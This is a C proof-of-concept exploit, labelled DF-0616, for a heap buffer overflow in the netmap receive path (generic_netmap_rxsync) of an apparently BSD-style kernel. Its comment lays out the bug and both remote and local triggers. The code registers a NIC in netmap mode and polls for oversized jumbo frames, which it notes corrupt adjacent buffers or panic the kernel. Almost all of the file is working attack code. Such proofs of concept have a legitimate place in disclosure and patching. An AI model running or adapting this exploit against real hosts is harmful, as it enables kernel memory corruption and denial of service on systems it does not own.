/* DF-0616 PoC: poc_rxsync_overflow.c
 * Triggers heap buffer overflow in generic_netmap_rxsync() by registering
 * a NIC in netmap mode and receiving a frame larger than NETMAP_BUF_SIZE
 * (2048). m_copydata writes len bytes (= m_pkthdr.len, network-controlled)
 * into a 2048-byte netmap buffer with no bounds check.
 *
 * Build: cc -O2 -o poc_rxsync_overflow poc_rxsync_overflow.c
 *
 * Remote trigger: on a host that ALREADY has a NIC in netmap mode, an
 * unauthenticated remote peer sends a jumbo frame (>2048 bytes) — the
 * overflow fires on the next NIOCRXSYNC.
 *
 * Local trigger: any wheel member opens /dev/netmap (0660 root:wheel),
 * NIOCREGIFs a NIC, then causes an oversized frame to be received.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <net/if.h>
#include <net/netmap/netmap.h>

int main(int argc, char **argv) {
    const char *ifname = argc > 1 ? argv[1] : "em0";
    int fd = open("/dev/netmap", O_RDWR);
    if (fd < 0) { perror("open /dev/netmap"); return 1; }

    struct nmreq req;
    memset(&req, 0, sizeof(req));
    strncpy(req.nr_name, ifname, sizeof(req.nr_name));
    req.nr_version = NETMAP_API;
    req.nr_ringid   = 0;
    if (ioctl(fd, NIOCREGIF, &req) < 0) { perror("NIOCREGIF"); return 2; }

    /* Map the shared region. */
    void *mem = mmap(NULL, req.nr_memsize, PROT_READ | PROT_WRITE,
                     MAP_SHARED, fd, 0);
    if (mem == MAP_FAILED) { perror("mmap"); return 3; }

    printf("[*] Registered %s in netmap mode, memsize=%u\n",
           ifname, req.nr_memsize);
    printf("[*] Now send a jumbo frame to this NIC (e.g. from a remote "
           "host):\n");
    printf("      ping -s 8972 <this-host>   (with MTU 9000)\n");
    printf("    or rely on LRO aggregation on TCP traffic.\n");
    printf("[*] Polling for RX (overflow fires on oversized frame)...\n");

    /* Poll for RX. On an oversized frame, m_copydata overflows the
     * 2048-byte netmap buffer, corrupting adjacent pool buffers. */
    for (;;) {
        if (ioctl(fd, NIOCRXSYNC, NULL) < 0) {
            perror("NIOCRXSYNC");
        }
        /* Inspect adjacent netmap slots' contents for heap-pool corruption
         * or wait for the kernel to panic. */
        usleep(1000);
    }
    return 0;
}
